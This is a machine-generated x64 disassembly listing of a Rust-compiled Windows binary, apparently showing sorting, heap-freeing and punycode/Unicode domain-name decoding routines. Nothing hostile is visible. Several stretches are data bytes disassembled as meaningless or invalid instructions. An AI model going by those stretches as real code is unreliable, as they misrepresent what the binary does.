lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov rcx, r13
call fcn.140104ad0
lea rcx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.140104c30
lea rcx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.140104c30
int3
lea r10, [r8 + 1]
mov rdi, r8
shl rdi, 4
mov rsi, r10
shl rsi, 4
mov r11, qword [rcx + rdi]
cmp r11, qword [rax + rsi]
jae 0x1400678cb
lea rbx, [rcx + rdi]
add rsi, rax
mov edi, dword [rcx + rdi + 8]
movups xmm0, xmmword [rsi]
movups xmmword [rbx], xmm0
cmp r8, 1
je 0x1400678c5
mov ebx, 1
mov rsi, r9
cmp r11, qword [rsi - 0x10]
jae 0x1400678c5
lea r14, [rsi - 0x10]
movups xmm0, xmmword [r14]
movups xmmword [rsi], xmm0
inc rbx
mov rsi, r14
cmp r8, rbx
jne 0x1400678a6
mov rsi, rcx
mov qword [rsi], r11
mov dword [rsi + 8], edi
add r9, 0x10
mov r8, r10
cmp r10, rdx
jne 0x14006786b
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
movabs al, byte [0xa8249c8b48000000]
mov al, byte [rax]
test dh, dh
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
add qword [rcx - 0x7d], rax
loope 0x140067ed4
loope 0x140067edd
out 0x3f, al
xchg ecx, eax
add al, 0
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x80
add byte [rax], al
add bl, ch
sbb al, 0x44
movzx ecx, word [rsp + 0x74]
mov rax, rbx
sub rax, r11
mov rdx, r11
shl rdx, 4
lea rcx, [r10 + rdx]
cmp rax, 2
mov qword [rsp + 0x38], r11
jae 0x1400698ab
mov r8, rax
lea rdx, [r8 + r11]
mov rsi, rdx
sub rsi, r11
jb 0x14006acfb
cmp rdx, rbx
ja 0x14006acfb
jae 0x140069975
cmp r8, 0xa
jae 0x140069975
lea rsi, [r11 + 0xa]
cmp rsi, rbx
cmovae rsi, rbx
mov qword [rsp + 0x140], rsi
sub rsi, r11
jb 0x14006ad13
cmp r8, 1
adc r8, 0
mov rdx, rsi
call fcn.14006783e
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x38]
jmp 0x14006997d
mov r9, qword [rcx + 0x10]
cmp r9, qword [rcx]
jae 0x140069d3c
mov r8d, 2
cmp rax, 2
je 0x14006990a
mov r8, qword [rsp + 0x160]
lea r10, [r8 + r11]
add rdx, qword [rsp + 0x158]
mov r8d, 2
mov r11, r9
mov r9, qword [rdx]
cmp r9, r11
jae 0x140069900
lea r11, [r10 + r8]
inc r11
inc r8
add rdx, 0x10
cmp r11, 2
jne 0x1400698de
mov r8, rax
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x38]
mov rdx, r8
add rdx, r11
jb 0x14006ad38
cmp rdx, rbx
ja 0x14006ad47
cmp r8, 2
jb 0x14006984b
mov rax, r8
shr rax, 1
mov rsi, rdx
shl rdx, 4
add rdx, qword [rsp + 0x170]
mov r9, rcx
mov r10, qword [r9]
mov r11d, dword [r9 + 8]
movups xmm0, xmmword [rdx]
movups xmmword [r9], xmm0
mov qword [rdx], r10
mov dword [rdx + 8], r11d
add r9, 0x10
add rdx, 0xfffffffffffffff0
dec rax
jne 0x140069941
mov r10, qword [rsp + 0x30]
mov rdx, rsi
mov r11, qword [rsp + 0x38]
jmp 0x14006984b
mov qword [rsp + 0x140], rdx
mov rcx, qword [rsp + 0x168]
cmp r15, rcx
jne 0x140069a0e
mov qword [rsp + 0x40], r15
mov r15, rbx
mov rdx, rcx
shl rdx, 5
mov al, byte [0x1401aa510]
mov rdi, rcx
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je case.0x140064c62.128
mov rbx, rax
lea rax, [rdi + rdi]
mov qword [rsp + 0x130], rax
shl rdi, 4
mov rcx, rbx
mov rdx, r13
mov r8, rdi
call fcn.1401035b1
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, rbx
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x168], rax
mov r10, qword [rsp + 0x30]
mov rbx, r15
mov r15, qword [rsp + 0x40]
mov r11, qword [rsp + 0x38]
mov rax, r15
shl rax, 4
mov qword [r13 + rax], rsi
mov qword [r13 + rax + 8], r11
inc r15
mov rax, r15
cmp r15, 2
mov qword [rsp + 0x1d8], r13
jb 0x140069d9d
mov r15, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [r13 + rcx]
mov rcx, qword [r13 + rcx + 8]
add rcx, rax
cmp rcx, rbx
je 0x140069aa4
mov rdx, r15
shl rdx, 4
mov r8, qword [rdx + r13 - 0x20]
cmp r8, rax
jbe 0x140069aa4
cmp r15, 2
je 0x140069d97
lea rsi, [r15 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r13 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x140069aba
cmp r15, 3
jbe 0x140069d9d
add r8, rcx
cmp qword [rdx + r13 - 0x40], r8
jbe 0x140069aba
jmp 0x140069d9d
cmp r15, 2
je 0x140069abf
lea rsi, [r15 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r13 + rcx]
cmp rcx, rax
jb 0x140069ac3
lea rsi, [r15 - 2]
cmp r15, rsi
jbe 0x14006ac09
lea rdx, [rsi + 1]
cmp r15, rdx
jbe 0x14006ac3e
mov qword [rsp + 0x38], rsi
mov rax, rsi
shl rax, 4
mov rcx, qword [r13 + rax + 8]
shl rdx, 4
mov r8, qword [r13 + rdx]
mov r12, qword [r13 + rdx + 8]
add r12, r8
mov rsi, r12
sub rsi, rcx
jb 0x14006ac8a
mov qword [rsp + 0x40], r15
cmp r12, rbx
ja 0x14006ac73
mov qword [rsp + 0x1e8], r8
mov qword [rsp + 0x1f8], rdx
mov qword [rsp + 0x130], r11
mov qword [rsp + 0x148], rax
mov r14, qword [r13 + rax]
mov qword [rsp + 0x1f0], rcx
mov rbx, rcx
shl rbx, 4
add rbx, r10
mov r15, r14
shl r15, 4
lea r13, [rbx + r15]
shl r12, 4
mov rdi, rsi
sub rdi, r14
cmp rdi, r14
jae 0x140069c11
mov r15, rdi
shl r15, 4
mov rsi, qword [rsp + 0x128]
mov rcx, rsi
mov rdx, r13
mov r8, r15
call fcn.1401035b1
add r15, rsi
test r14, r14
jle 0x140069c93
test rdi, rdi
mov rsi, qword [rsp + 0x38]
jle 0x140069c86
add r12, qword [rsp + 0x170]
mov r9, qword [rsp + 0x128]
mov rax, r13
mov rcx, r15
mov rdx, qword [r15 - 0x10]
mov r8, qword [r13 - 0x10]
cmp rdx, r8
mov r13d, 0
sbb r13, r13
cmp rdx, r8
mov r15d, 0
adc r15, 0xffffffffffffffff
shl r13, 4
add r13, rax
shl r15, 4
add r15, rcx
cmp rdx, r8
mov rax, r15
cmovb rax, r13
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
cmp r13, rbx
jbe 0x140069c06
add r12, 0xfffffffffffffff0
cmp r15, r9
ja 0x140069bb1
mov rbx, r13
mov rdx, r9
jmp 0x140069ca3
mov rdi, qword [rsp + 0x128]
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call fcn.1401035b1
add r15, rdi
test r14, r14
jle 0x140069c81
cmp rsi, r14
jle 0x140069c81
add r12, qword [rsp + 0x30]
mov rdx, rdi
mov rsi, qword [rsp + 0x38]
mov r8, rdx
mov rcx, qword [r13]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, r13
movups xmm0, xmmword [r9]
movups xmmword [rbx], xmm0
add rbx, 0x10
shl edx, 4
add rdx, r8
cmp rdx, r15
jae 0x140069ca3
mov al, cl
shl eax, 4
loopne 0x140069c7b
loopne 0x140069c7b
add r13, rax
cmp r13, r12
cmp ebp, esp
jb 0x140069c41
jmp 0x140069ca3
mov rdx, rdi
jmp 0x140069c9e
mov rbx, r13
mov rdx, qword [rsp + 0x128]
jmp 0x140069ca3
mov rbx, r13
mov rdx, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x38]
mov r13, qword [rsp + 0x1d8]
mov r12, qword [rsp + 0x148]
add r12, r13
mov rdi, qword [rsp + 0x1f8]
add rdi, r13
sub r15, rdx
mov rcx, rbx
mov r8, r15
call fcn.1401035b1
mov rax, qword [rsp + 0x1e8]
add rax, r14
mov qword [rdi], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rdi + 8], rax
lea rdx, [r12 + 0x10]
not rsi
mov r8, qword [rsp + 0x40]
add r8, rsi
shl r8, 4
mov rcx, r12
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x130]
cmp rax, 1
mov r12, qword [rsp + 0x138]
mov r10, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x178]
mov r14, qword [rsp + 0x1d0]
ja 0x140069a37
mov r15d, 1
jmp 0x140069d9d
mov r8d, 2
cmp rax, 2
je 0x140069847
mov r8, qword [rsp + 0x160]
lea r10, [r8 + r11]
add rdx, qword [rsp + 0x158]
mov r8d, 2
mov r11, r9
mov r9, qword [rdx]
cmp r9, r11
jb 0x140069d88
lea r11, [r10 + r8]
inc r11
inc r8
add rdx, 0x10
cmp r11, 2
jne 0x140069d66
mov r8, rax
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x38]
jmp 0x140069847
mov r15d, 2
mov r11, qword [rsp + 0x140]
cmp r11, rbx
mov rdi, qword [rsp + 0x128]
jb 0x140069828
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, r13
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rdi
call rsi
jmp 0x140068bf1
mov dh, 0x4f
add eax, dword [rbx - 0x1f3ef820]
loopne 0x140069edd
invalid
invalid
loopne 0x140069edd
adc al, cl
loop case.0x1400255da.1042
loope 0x140069f1e
rol dword [rcx + 0x110000f9], 0
clc
adc dword [rdi], ecx
test byte [rbx - 0x7d000000], bh
clc
or dword [rbx + rcx*4 - 0x6c], ecx
and al, 0xa0
add al, byte [rax]
add byte [rdi], cl
test dword [rsi + 3], edx
add byte [rax], al
add byte [rcx - 0x76], al
inc dword [r8 + rax*8 - 0xb6f488]
int 0xf
mov dh, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
lea esi, [rdx + 0x18]
lea esi, [rdx + 0x18]
cmp dword [rdx + 0x18], 0
or dword [rax], eax
mov eax, 2
adc byte [rcx], al
add byte [rax], al
cmp eax, esp
add byte [rax - 0x4bf7df1], 0xff
invalid
movsb byte [rdi], byte [rsi]
popfq
or dword [rax], eax
test eax, 0xf8e80010
sahf
or dword [rax], eax
add eax, 0x10a921
or al, 0x48
add byte [rax - 0x3f], cl
jmp 0x14593fa7c
std
adc al, byte [rax]
cmp dword [rax + rcx*4], eax
mov eax, ecx
movzx ecx, byte [rsi + 1]
shl ecx, 6
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
add byte [rdx + rcx*4 - 0x44], al
and al, 0xb8
add byte [rax], al
add byte [rcx - 0x80], al
inc dword [rdx]
add byte [rax], al
add byte [rax], al
jne 0x14006bcab
test r8d, r8d
je 0x14006bcb8
mov rdx, qword [rsp + 0x80]
jmp 0x14006bcbd
mov qword [rsp + 0xc0], rcx
jmp 0x14006bd62
movzx edx, word [rsp + 0x6c]
sub rdx, r9
je 0x14006bd36
xor ecx, ecx
mov rcx, rbp
call fcn.14006de15
test rax, rax
je 0x14006d7b3
mov r13, rax
mov rsi, rdx
test bl, 1
mov rdi, qword [rsp + 0x298]
jne 0x14006c29a
mov rax, qword [rdi + 0x10]
cmp rax, qword [rdi]
jne 0x14006c28b
mov rcx, rdi
call fcn.1400e92d5
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2e
inc rax
mov qword [rdi + 0x10], rax
cmp rsi, 4
jb 0x14006c2aa
cmp dword [r13], 0x2d2d6e78
je 0x14006c2eb
test r15b, 1
jne 0x14006c2be
mov rcx, r13
mov rdx, rsi
call fcn.14006df47
mov r15d, eax
mov rcx, r13
mov rdx, rsi
mov r8, qword [rsp + 0x138]
lea r9, [rsp + 0x30]
call case.0x140065e46.110
mov rcx, rdi
mov rdx, r13
mov r8, rsi
call fcn.1400f98e3
xor ebx, ebx
jmp 0x14006c252
cmp rsi, 4
je 0x14006c2fc
cmp byte [r13 + 4], 0xbf
jle 0x14006dd4d
add rsi, 0xfffffffffffffffc
add r13, 4
mov qword [rsp + 0x118], 0
mov r14, rsi
mov r12d, 0x1a
mov qword [rsp + 0x1c0], r15
mov cl, 0x2d
mov rdx, r13
mov r8, r14
call fcn.140040a20
cmp rax, 1
jne 0x14006c34d
mov r14, rdx
cmp rdx, rsi
jae 0x14006c348
cmp byte [r13 + r14], 0x2d
je 0x14006c5e1
cmp r14, rsi
jbe 0x14006c321
mov rbx, r13
xor r14d, r14d
lea r13, [0x14019e2d0]
mov rcx, r14
mov rax, r14
sub rax, 1
jb 0x14006c388
cmp byte [r13 + rcx - 1], 0
mov rcx, rax
jns 0x14006c360
mov byte [rsp + 0x30], 1
mov r15b, 1
xor ebx, ebx
lea rbp, [rsp + 0x160]
jmp 0x14006c252
mov r15, rsi
test r15, r15
je 0x14006c617
add r15, rbx
xor edx, edx
mov ebp, 0x48
mov dword [rsp + 0x40], 0x80
mov eax, r14d
mov dword [rsp + 0x120], r14d
xor edi, edi
mov qword [rsp + 0x130], rdx
lea r9d, [rbp + 0x1a]
inc rbx
mov r10d, ebp
neg r10d
mov r11d, 1
mov esi, 0x24
mov ecx, edi
mov al, byte [rbx - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jae 0x14006c3e6
add al, 0xea
mov edx, eax
jmp 0x14006c3fa
lea edx, [rax - 0x41]
cmp dl, 0x1a
jb 0x14006c3fa
add al, 0x9f
mov edx, eax
cmp al, 0x19
ja 0x14006c371
test r11d, r11d
je 0x14006dc5f
movzx r8d, dl
mov eax, ecx
not eax
xor edx, edx
div r11d
cmp eax, r8d
jb 0x14006c371
mov eax, r11d
imul eax, r8d
add ecx, eax
lea eax, [r10 + rsi]
cmp esi, r9d
cmovae eax, r12d
cmp esi, ebp
mov edx, 1
cmovbe eax, edx
cmp eax, r8d
ja 0x14006c469
mov r8d, 0x24
sub r8d, eax
mov eax, r8d
mul r11d
jo 0x14006c371
cmp rbx, r15
je 0x14006c371
add esi, 0x24
imul r11d, r8d
inc rbx
jmp 0x14006c3d5
mov r10d, dword [rsp + 0x120]
inc r10d
je 0x14006dca5
mov eax, ecx
sub eax, edi
test edi, edi
mov r8d, 2
mov edx, 0x2bc
cmove r8d, edx
xor ebp, ebp
xor edx, edx
div r8d
mov r8d, eax
xor edx, edx
div r10d
add eax, r8d
cmp eax, 0x1c8
jb 0x14006c4d9
xor ebp, ebp
mov r9d, 0xd41d41d5
mov edx, eax
imul rdx, r9
shr rdx, 0x20
mov r8d, eax
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
add ebp, 0x24
cmp eax, 0x3e57
mov eax, r8d
ja 0x14006c4b0
jmp 0x14006c4dc
mov r8d, eax
lea eax, [r8*4]
lea eax, [rax + rax*8]
add r8d, 0x26
xor edx, edx
div r8w
mov esi, eax
mov eax, ecx
xor edx, edx
mov dword [rsp + 0x120], r10d
div r10d
add dword [rsp + 0x40], eax
jb 0x14006c371
mov eax, dword [rsp + 0x40]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x14006c371
mov edi, edx
mov rcx, qword [rsp + 0x110]
mov r12d, edx
mov r9, qword [rsp + 0x130]
test r9, r9
je 0x14006c562
mov rax, r9
shl rax, 4
xor r8d, r8d
mov rdx, qword [rcx + r8]
cmp rdx, r12
jb 0x14006c559
inc rdx
mov qword [rcx + r8], rdx
add r8, 0x10
cmp rax, r8
jne 0x14006c549
cmp r9, qword [rsp + 0x108]
jne 0x14006c589
lea rcx, [rsp + 0x108]
call fcn.1400678fa
mov rcx, qword [rsp + 0x110]
mov r9, qword [rsp + 0x118]
movzx eax, si
add ebp, eax
mov rax, r9
shl rax, 4
mov qword [rcx + rax], r12
mov edx, dword [rsp + 0x40]
mov dword [rcx + rax + 8], edx
lea rdx, [r9 + 1]
mov qword [rsp + 0x118], rdx
inc edi
cmp rbx, r15
mov r12d, 0x1a
jne 0x14006c3b3
cmp rdx, 0x15
jae 0x14006d195
cmp rdx, 1
jbe 0x14006c61f
mov r8d, 1
mov rsi, rcx
call fcn.14006783e
mov rcx, rsi
jmp 0x14006c61f
test r14, r14
je 0x14006c83f
lea rbx, [r14 + 1]
mov r15, rsi
sub r15, rbx
jbe 0x14006c602
cmp byte [r13 + rbx], 0xbf
jle 0x14006dd8c
add rbx, r13
cmp r14, 7
ja 0x14006c84a
mov rsi, r15
jmp 0x14006c35a
mov rcx, qword [rsp + 0x110]
mov rbx, r13
xor r14d, r14d
jmp 0x14006c35a
movabs rax, 0x8080808080808080
test qword [r13], rax
jne 0x14006c371
lea rax, [r13 + 7]
and rax, 0xfffffffffffffff8
sub rax, r13
mov ecx, 8
cmove rax, rcx
lea rcx, [r14 - 8]
cmp rax, rcx
jae 0x14006d0c9
movabs rdx, 0x8080808080808080
test qword [r13 + rax], rdx
jne 0x14006c371
add rax, 8
jmp 0x14006c876
mov ecx, r9d
cmp rax, r14
je 0x14006cf78
mov r9d, r8d
mov r11b, byte [rax]
movzx edx, r11b
test dl, dl
js 0x14006c920
inc rax
jmp 0x14006c991
mov r8d, edx
and r8d, 0x1f
movzx edi, byte [rax + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x14006c973
movzx r10d, byte [rax + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x14006c983
movzx edx, byte [rax + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x14006cf78
add rax, 4
jmp 0x14006c991
add rax, 2
shl r8d, 6
or r8d, edi
mov edx, r8d
jmp 0x14006c991
add rax, 3
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
xor r8d, r8d
cmp edx, 0x80
jb 0x14006c904
imul r8d, edx, 0x9e3779b9
imul r10d, edx, 0x31415926
xor r8d, r10d
imul r8, r8, 0x39a
shr r8, 0x20
lea r11, [0x14017ea28]
movzx r8d, word [r11 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, r10d
imul r8, r8, 0x39a
shr r8, 0x20
lea r10, [0x14017f15c]
mov r8d, dword [r10 + r8*4]
mov r10d, r8d
shr r10d, 8
cmp r10d, edx
mov r10d, 0
cmovne r8d, r10d
cmp r9b, r8b
jbe 0x14006ca0d
test r8b, r8b
jne 0x14006d16f
lea r9d, [rdx - 0x340]
cmp r9d, 4
ja 0x14006ca24
cmp r9d, 2
jne 0x14006d16f
mov r9b, 2
cmp edx, 0xd56
jg 0x14006ca8e
cmp edx, 0x9de
jg 0x14006caef
cmp edx, 0x93b
jg 0x14006cc05
lea r10d, [rdx - 0x30f]
cmp r10d, 0x36
ja 0x14006ca68
movabs r11, 0x48020000001005
bt r11, r10
jb 0x14006c901
lea r10d, [rdx - 0x374]
cmp r10d, 0x13
ja 0x14006cd0b
mov r11d, 0x80401
bt r11d, r10d
jb 0x14006d16f
jmp 0x14006cd0b
cmp edx, 0x11126
jg 0x14006cb56
cmp edx, 0xf92
jg 0x14006cb9c
lea r10d, [rdx - 0xdca]
cmp r10d, 0x15
ja 0x14006cac3
mov r11d, 0x200021
bt r11d, r10d
jb 0x14006c901
cmp edx, 0xd57
je 0x14006c901
lea r10d, [rdx - 0xf43]
cmp r10d, 0x3e
ja 0x14006cd0b
movabs r11, 0x4021004002108401
jmp 0x14006ccbc
cmp edx, 0xbd6
jg 0x14006cbe0
cmp edx, 0xbbd
jg 0x14006ccc8
lea r10d, [rdx - 0xb3e]
cmp r10d, 0x19
ja 0x14006cb24
mov r11d, 0x3000001
bt r11d, r10d
jb 0x14006c901
lea r10d, [rdx - 0xa33]
cmp r10d, 0x2b
ja 0x14006cb45
movabs r11, 0x80000000009
bt r11, r10
jb 0x14006d16f
cmp edx, 0x9df
jne 0x14006cd0b
jmp 0x14006d16f
cmp edx, 0x114af
jle 0x14006cc2e
lea r10d, [rdx - 0x114b0]
cmp r10d, 0xd
ja 0x14006cb7f
mov r11d, 0x2401
bt r11d, r10d
jb 0x14006c901
cmp edx, 0x115af
je 0x14006c901
cmp edx, 0x11930
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0x1f70
jg 0x14006cc74
cmp edx, 0x102e
je 0x14006c901
cmp edx, 0x1b35
je 0x14006c901
lea r10d, [rdx - 0xf93]
cmp r10d, 0x26
ja 0x14006cd0b
movabs r11, 0x4002108401
jmp 0x14006ccbc
cmp edx, 0xcc1
jg 0x14006cc57
cmp edx, 0xbd7
je 0x14006c901
cmp edx, 0xc56
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0x93c
je 0x14006c901
cmp edx, 0x9be
je 0x14006c901
cmp edx, 0x9d7
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0x11127
je 0x14006c901
cmp edx, 0x1133e
je 0x14006c901
cmp edx, 0x11357
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0xcc2
je 0x14006c901
cmp edx, 0xd3e
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0xfa0f
jle 0x14006ccd6
cmp edx, 0x110ba
je 0x14006c901
lea r10d, [rdx - 0xfa10]
cmp r10d, 0x12
ja 0x14006cca5
mov r11d, 0x50005
bt r11d, r10d
jb 0x14006d16f
lea r10d, [rdx - 0xfb1d]
cmp r10d, 0x21
ja 0x14006cd0b
movabs r11, 0x200000005
bt r11, r10
jb 0x14006d16f
jmp 0x14006cd0b
cmp edx, 0xbbe
je 0x14006c901
jmp 0x14006cd0b
cmp edx, 0x2125
jle 0x14006cf29
lea r10d, [rdx - 0x2329]
cmp r10d, 2
jb 0x14006d16f
cmp edx, 0x2126
je 0x14006d16f
cmp edx, 0x2adc
je 0x14006d16f
add byte [rax], al
add byte [rax], al
lea r10d, [rdx - 0x2f800]
cmp r10d, 0x21e
jb 0x14006d16f
lea r10d, [rdx - 0x1d1bb]
cmp r10d, 6
jb 0x14006d16f
lea r10d, [rdx - 0x1d15e]
cmp r10d, 7
jb 0x14006d16f
lea r10d, [rdx - 0xfb46]
cmp r10d, 9
jb 0x14006d16f
lea r10d, [rdx - 0xfb43]
cmp r10d, 2
jb 0x14006d16f
mov r10d, edx
and r10d, 0xfffffffe
cmp r10d, 0xfb40
je 0x14006d16f
lea r11d, [rdx - 0xfb38]
cmp r11d, 5
jb 0x14006d16f
lea r11d, [rdx - 0xfb2a]
cmp r11d, 0xd
jb 0x14006d16f
lea r11d, [rdx - 0xfa70]
cmp r11d, 0x6a
jb 0x14006d16f
lea r11d, [rdx - 0xfa2a]
cmp r11d, 0x44
jb 0x14006d16f
lea r11d, [rdx - 0xfa25]
cmp r11d, 2
jb 0x14006d16f
lea r11d, [rdx - 0xfa15]
cmp r11d, 0xa
jb 0x14006d16f
lea r11d, [rdx - 0xf900]
cmp r11d, 0x10e
jb 0x14006d16f
cmp r10d, 0x212a
je 0x14006d16f
cmp r10d, 0x2000
je 0x14006d16f
cmp r10d, 0x1fee
je 0x14006d16f
lea r11d, [rdx - 0xf75]
cmp r11d, 2
jb 0x14006d16f
cmp r10d, 0xb5c
je 0x14006d16f
lea r11d, [rdx - 0xa59]
cmp r11d, 3
jb 0x14006d16f
mov r11d, edx
and r11d, 0xfffffff8
cmp r11d, 0x958
je 0x14006d16f
cmp r10d, 0x9dc
je 0x14006d16f
lea r11d, [rdx - 0x11a8]
cmp r11d, 0x1b
jb 0x14006c901
lea r11d, [rdx - 0x1161]
cmp r11d, 0x15
jb 0x14006c901
lea r11d, [rdx - 0xcd5]
cmp r11d, 2
jb 0x14006c901
lea r11d, [rdx - 0x653]
cmp r11d, 3
jb 0x14006c901
cmp r10d, 0x330
je 0x14006c901
lea r10d, [rdx - 0x32d]
cmp r10d, 2
jb 0x14006c901
lea r10d, [rdx - 0x323]
cmp r10d, 6
jb 0x14006c901
lea r10d, [rdx - 0x313]
cmp r10d, 2
jb 0x14006c901
lea r10d, [rdx - 0x300]
cmp r10d, 5
jb 0x14006c901
lea r10d, [rdx - 0x306]
cmp r10d, 7
jb 0x14006c901
add edx, 0xffffcf67
cmp edx, 2
movzx r9d, cl
mov ecx, 2
cmovb r9d, ecx
jmp 0x14006c901
lea r10d, [rdx - 0x1fbe]
cmp r10d, 0x3f
ja 0x14006cf4a
movabs r11, 0xa800202020202801
bt r11, r10
jb 0x14006d16f
lea r10d, [rdx - 0x1f71]
cmp r10d, 0xc
ja 0x14006cf67
mov r11d, 0x1555
bt r11d, r10d
jb 0x14006d16f
cmp edx, 0x1fbb
je 0x14006d16f
jmp 0x14006cd0b
test cl, cl
je 0x14006d150
movzx eax, cl
cmp eax, 1
je 0x14006d16f
lea rax, [rsp + 0x200]
movups xmmword [rax], xmm6
xor ecx, ecx
lea rdx, [rsp + 0xa0]
mov byte [rdx + 0x10], cl
movups xmmword [rdx], xmm6
movzx eax, word [rsp + 0x20e]
mov word [rdx + 0x2e], ax
movups xmm0, xmmword [rsp + 0x1fe]
movups xmmword [rdx + 0x1e], xmm0
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], ecx
mov word [rsp + 0x6c], cx
mov byte [rsp + 0x70], cl
mov dword [rsp + 0x74], ecx
mov byte [rsp + 0x78], cl
mov dword [rsp + 0x7c], ecx
mov byte [rsp + 0x80], cl
mov dword [rsp + 0x84], ecx
mov byte [rsp + 0x88], cl
mov dword [rsp + 0x8c], ecx
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r14
mov dword [rsp + 0xb8], ecx
mov word [rsp + 0xbc], cx
mov dword [rsp + 0xd8], 0x110000
mov byte [rsp + 0xdc], cl
mov rdi, r12
lea r13, [rsp + 0x58]
cmp rdi, r14
je 0x14006d0e3
mov dl, byte [rdi]
movzx ebx, dl
test bl, bl
js 0x14006d04d
inc rdi
jmp 0x14006d0ae
mov eax, ebx
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp bl, 0xdf
jbe 0x14006d095
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x14006d0a3
movzx ebx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebx, 0x3f
or ebx, ecx
or ebx, eax
cmp ebx, 0x110000
je 0x14006d0e3
add rdi, 4
jmp 0x14006d0ae
add rdi, 2
shl eax, 6
or eax, r8d
mov ebx, eax
jmp 0x14006d0ae
add rdi, 3
shl eax, 0xc
or ecx, eax
mov ebx, ecx
mov rcx, r13
call fcn.14006689a
xor ebp, ebp
cmp eax, 0x110000
je 0x14006d0f4
cmp eax, ebx
je 0x14006d036
jmp 0x14006d0f4
movabs rax, 0x8080808080808080
test qword [r13 + rcx], rax
jne 0x14006c371
jmp 0x14006c38b
mov rcx, r13
call fcn.14006689a
cmp eax, 0x110000
sete bpl
cmp dword [rsp + 0x68], 0
je 0x14006d117
cmp qword [rsp + 0x70], 0
je 0x14006d117
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0xb8], 0
je 0x14006d143
invalid
and cl, byte [rax - 0x7d]
mov esp, 0xc024
and al, 0xc0
add byte [rax], al
cmp qword [rsp + 0xc0], 0
and al, 0xc0
add byte [rax], al
add byte [rax], al
je 0x14006d143
mov r8, qword [rsp + 0xc8]
add byte [rax], al
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
lea rbp, [rsp + 0x160]
je 0x14006d16f
mov rcx, r12
mov rdx, rsi
mov r8, qword [rsp + 0x1a8]
lea r9, [rsp + 0x30]
call case.0x140065e46.110
xor ebx, ebx
jmp 0x14006c252
mov byte [rsp + 0x35], 1
xor ebx, ebx
jmp 0x14006c252
invalid
invalid
invalid
mov rsi, r9
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
lea rdx, [rdx*8]
movabs rax, 0x7ffffffffffffff0
and rdx, rax
mov al, byte [0x1401aa510]
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14006ddfc
mov rbx, rax
mov al, byte [0x1401aa510]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14006de08
mov r12, rax
mov eax, 1
sub rax, rsi
mov qword [rsp + 0x148], rax
mov r10, qword [rsp + 0x48]
lea rax, [r10 + 0x20]
mov qword [rsp + 0x140], rax
lea rax, [r10 - 0x10]
mov qword [rsp + 0x158], rax
mov eax, 0x10
mov qword [rsp + 0x150], rax
xor ebp, ebp
xor edi, edi
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x1b0], r13
mov ds, esi
add byte [rax], al
add byte [rax + 3], cl
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x20], cl
mov rax, r12
mov rcx, r15
mov rdx, qword [r15 - 0x10]
mov r8, qword [r12 - 0x10]
